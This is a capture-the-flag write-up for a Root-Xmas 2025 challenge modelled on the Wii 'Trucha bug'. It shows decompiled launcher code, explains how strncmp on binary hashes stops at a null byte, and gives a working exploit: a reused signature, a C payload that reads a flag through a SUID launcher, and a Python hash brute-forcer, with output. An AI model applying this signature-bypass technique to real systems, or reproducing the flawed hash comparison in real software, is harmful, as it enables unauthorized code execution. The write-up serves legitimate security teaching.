c0w5lip@wired:~$

🏷️ pwn crypto

Root-Xmas 2025

Day7 - Wii-nter hack

Information

Difficulty: Medium

Tags: pwn, crypto

Author: Drahoxx

Mom! My Wii won’t let me run custom games! It’s 2008 already and this console is still locked down — time to hack it.

📂 Files

Solution

We’re provided with a launcher and 3 games.

Here is some pseudocode for the launcher:

_QWORD *__fastcall read_parse_and_check_file(const char *file, _QWORD *start_ptr, _QWORD *sig_ptr, _QWORD *sig_idx)
{
    char *ptr; // [rsp+28h] [rbp-18h]
    __int64 size; // [rsp+30h] [rbp-10h]
    FILE *stream; // [rsp+38h] [rbp-8h]

    stream = fopen(file, "rb");
    if ( !stream )
    {
        perror("[ERROR] Failed to open signed file");
        exit(-1);
    }
    if ( fseek(stream, 0, 2) )
    {
        perror("[ERROR] fseek end");
        fclose(stream);
        exit(-1);
    }
    size = ftell(stream);
    if ( size < 0 )
    {
        perror("[ERROR] ftell");
        fclose(stream);
        exit(-1);
    }
    rewind(stream);
    if ( size <= 256 || size > 0x100000 )
    {
        fwrite("[ERROR] Invalid file size.\n", 1u, 0x1Bu, stderr);
        fclose(stream);
        exit(-1);
    }
    ptr = malloc(size);
    if ( !ptr )
    {
        fwrite("[ERROR] malloc failed\n", 1u, 0x16u, stderr);
        fclose(stream);
        exit(-1);
    }
    if ( fread(ptr, 1u, size, stream) != size )
    {
        perror("[ERROR] fread");
        free(ptr);
        fclose(stream);
        exit(-1);
    }
    fclose(stream);
    *sig_idx = size - 256;
    *start_ptr = ptr;
    *sig_ptr = &ptr[*sig_idx];
    return sig_ptr;
}
int __fastcall main(int argc, const char **argv, const char **envp)
{
    void *ptr; // [rsp+18h] [rbp-68h] BYREF
    char game_hash[40]; // [rsp+20h] [rbp-60h] BYREF
    __int64 signature; // [rsp+48h] [rbp-38h] BYREF
    void *game_core; // [rsp+50h] [rbp-30h] BYREF
    size_t game_size; // [rsp+58h] [rbp-28h] BYREF
    int k; // [rsp+64h] [rbp-1Ch] BYREF
    __int64 e; // [rsp+68h] [rbp-18h] BYREF
    __int64 n; // [rsp+70h] [rbp-10h] BYREF
    const char *game_file_path; // [rsp+78h] [rbp-8h]

    if ( argc == 2 )
    {
        game_file_path = argv[1];
        n = 0;
        e = 0;
        load_public_key_from_custom_section(&n, &e, &k);
        game_core = 0;
        signature = 0;
        read_parse_and_check_file(game_file_path, &game_core, &signature, &game_size);
        if ( !SHA256(game_core, game_size, game_hash) )
        {
            fwrite("[ERROR] SHA256 failed\n", 1u, 0x16u, stderr);
            exit(-1);
        }
        ptr = 0;
        uncipher_signature_with_publickey(signature, n, e, k, &ptr);
        show_hashes(ptr + k - 32, game_hash);
        if ( strncmp(ptr + k - 32, game_hash, 0x20u) )
        {
            fwrite("[FATAL] Signature is INVALID (hash mismatch)\n", 1u, 0x2Du, stderr);
            exit(-1);
        }
        puts("[GOOD] Signature is VALID!");
        write_game_to_disk(game_size, game_core);
        launch_game();
        free(ptr);
        free(game_core);
        return 0;
    }
    else
    {
        fprintf(stderr, "Usage: %s <signed_game_file>\n", *argv);
        return 1;
    }
}

After some research, it becomes clear that this challenge is based upon an actual vulnerability that used to be present in IOS: The Trucha bug.

This vulnerability has been leveraged in the past in order to install software that Nintendo didn’t approve of on the Wii.

The core of the vulnerability exploits a flaw in the behaviour of the strncmp() function: the function returns prematurely whenever it encouters a null byte on either of the two strings its comparing (normally at the end). However, because we’re not passing ASCII strings but binary hashes to the function, we can this behavior if either of two hashes compared (the signature hash and the game_hash) contains a null byte (00) at any position.

However, strncmp returns whenever it encounters a null byte (00) on either of the strings it compares, but it doesn’t return 0 (strings are equal) unless the bytes it compared actually are the same, even if it returned prematurely.

To summarize:

If we pay attention to the signature that’s printed for each game at the beginning of its execution, we’ll notice one game stands out:

$ ./launcher games/super_smash_bros-brawl_rootme_arena
[i] Unciphering signature with public key (m = sig^e mod n).
[i] DECRYPTED HASH:
        00 59 DF 5E D5 96 49 B0
        F3 88 65 68 F4 0A 8F AF
        50 FF 4B 37 C9 D1 9C BB
        2D 84 24 03 5B 27 70 66



[i]COMPUTED HASH:
        00 59 DF 5E D5 96 49 B0
        F3 88 65 68 F4 0A 8F AF
        50 FF 4B 37 C9 D1 9C BB
        2D 84 24 03 5B 27 70 66



[GOOD] Signature is VALID!
...

The hash of the unciphered signature of the game super_smash_bros-brawl_rootme_arena starts with a null byte (00). The signature hash of the game therefore satisfies the property described earlier.

And because RSA is deterministic (obviously), the [i] DECRYPTED HASH would still be the same (i.e start with a null byte) if we reused the game’s signature (i.e appended it to the end of another game).

Consider the following:

game file (e.g super_smash_bros-brawl_rootme_arena) = game core (i.e game code) + 256 bytes game signature (e.g 00 59 DF ... 66)

For our exploit to work, we therefore need:

Both hash will be compared against eachother, but the function will return right from the first byte because it’s a null byte for both hashes (and because the said null bytes are equals, the function will return as if both hash are equals).

We’ll then extract the signature using this command:

$ tail -c 256 super_smash_bros-brawl_rootme_arena > magic_sig.bin

The last step is to write a payload (serving as the game core), compile it, and append gibberish at the end until its hash also starts with a null byte. This requires bruteforce, but is extremely fast because of the high probability of generating a satisfying hash candidate. Finally, we’ll append the null-byte-starting signature we extracted from the other game to the payload.

Note that the launcher already sets SUID for the game it runs.

Our payload can therefore be as simple as follows: evil_game.c:

#include <stdlib.h>
#include <stdio.h>

int main() {
    printf("[*] Evil game executed\n");
    system("cat /app/flag.txt");
    
    return 0;
}

Note: we could’ve directly extracted the signature using Python.

Finally, here’s a Python script to generate the game to be runned:

import hashlib


with open("evil_game", "rb") as f:
    evil_game = f.read()

with open("magic_sig.bin", "rb") as f:
    signature = f.read()


print("[*] Payload size: {} bytes".format(len(evil_game)))
print("[*] Signature size: {} bytes (Expected: 256)".format(len(signature)))

nonce = 0
while True:
    # simple counter (1 to 4 bytes)
    nonce_bytes = nonce.to_bytes((nonce.bit_length() + 7) // 8 or 1, byteorder='big')

    payload = evil_game + nonce_bytes
    
    h = hashlib.sha256(payload).digest()
    
    if h[0] == 0: # if the first byte is a null byte
        print("[+] Nonce found in {} iterations.".format(nonce))
        print("[+] Nonce (hex): {}".format(nonce_bytes.hex()))
        print("[+] Associated hash: {}".format(h.hex()))

        with open("evil_game", "wb") as out:
            out.write(payload)
            out.write(signature)
        
        break
    
    nonce += 1
$ python3 solve.py
[*] Payload size: 16016 bytes
[*] Signature size: 256 bytes (Expected: 256)
[+] Nonce found in 46 iterations.
[+] Nonce (hex): 2e
[+] Associated hash: 00cbf278e41a69596c814a573acfb7ba5fcfe228357f2c0f25d3ce6e7feb4fad

We send the locally compiled payload to the remote server:

>scp -P 15739 evil_game wii-user@dyn-02.xmas.root-me.org:/app/games
wii-user@dyn-02.xmas.root-me.org's password:
evil_game                                                                             100%   16KB 662.2KB/s   00:00
┌─[wii-user@wiinterhack] - [/app] - [6]
└─[$] chmod +x games/evil_game                                                                           [11:40:45]
┌─[wii-user@wiinterhack] - [/app] - [7]
└─[$] ./launcher games/evil_game                                                                         [11:40:53]
[i] Unciphering signature with public key (m = sig^e mod n).
[i] DECRYPTED HASH:
        00 59 DF 5E D5 96 49 B0
        F3 88 65 68 F4 0A 8F AF
        50 FF 4B 37 C9 D1 9C BB
        2D 84 24 03 5B 27 70 66



[i]COMPUTED HASH:
        00 CB F2 78 E4 1A 69 59
        6C 81 4A 57 3A CF B7 BA
        5F CF E2 28 35 7F 2C 0F
        25 D3 CE 6E 7F EB 4F AD



[GOOD] Signature is VALID!
[*] Evil game executed
RM{Wii_W4s_S3cUr3_but_N0t_for_Fail0verflow!}

Happy Christmas